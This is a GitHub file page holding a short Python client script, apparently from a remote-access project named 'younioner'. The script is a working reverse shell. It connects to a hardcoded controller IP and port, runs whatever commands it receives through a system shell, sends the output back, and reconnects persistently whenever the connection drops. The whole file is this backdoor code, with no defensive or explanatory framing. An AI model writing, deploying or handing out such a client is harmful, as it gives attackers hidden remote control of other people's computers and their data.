Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
77 lines (61 loc) · 2.19 KB

File metadata and controls

77 lines (61 loc) · 2.19 KB
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from socket import *
import subprocess
import os
import time
import sys
ip = '192.168.1.88' # server ip, which you want to connect to
port = 4343 # the port needs to be the same as server.py port in order to connect with server
class Client:
def __init__(self, _host, _port=3434):
self.host = _host
self.port = _port
self.s = None
self.launch()
# run younioner
def launch(self):
try:
self.open_socket()
self.receive_commands()
self.chat()
except error as e:
time.sleep(6)
self.launch()
# will create the socket
def open_socket(self):
try:
self.s = socket(AF_INET, SOCK_STREAM)
self.s.connect((self.host, self.port))
except:
time.sleep(5)
self.open_socket()
# receive commands from the Server
def receive_commands(self):
try:
while True:
data = self.s.recv(1024)
striped_data = data[:].strip().decode("utf-8")
if striped_data[:2] == 'cd':
os.chdir(striped_data[3:])
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE, stdin=subprocess.PIPE)
result = str(cmd.stdout.read() + cmd.stderr.read(), "utf-8")
self.s.send(str.encode(result + str(os.getcwd()) + " > "))
except:
result = "Command not recognized \n"
self.s.send(str.encode(result + str(os.getcwd()) + " > "))
# this condition will work when the user quit server.py
if striped_data == "end-of-session":
time.sleep(2)
self.s.close()
sys.exit(0)
os._exit(0)
exit(0)
quit(0)
self.s.close()
except:
time.sleep(5)
self.receive_commands()
if __name__ == '__main__':
c = Client(ip, port)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.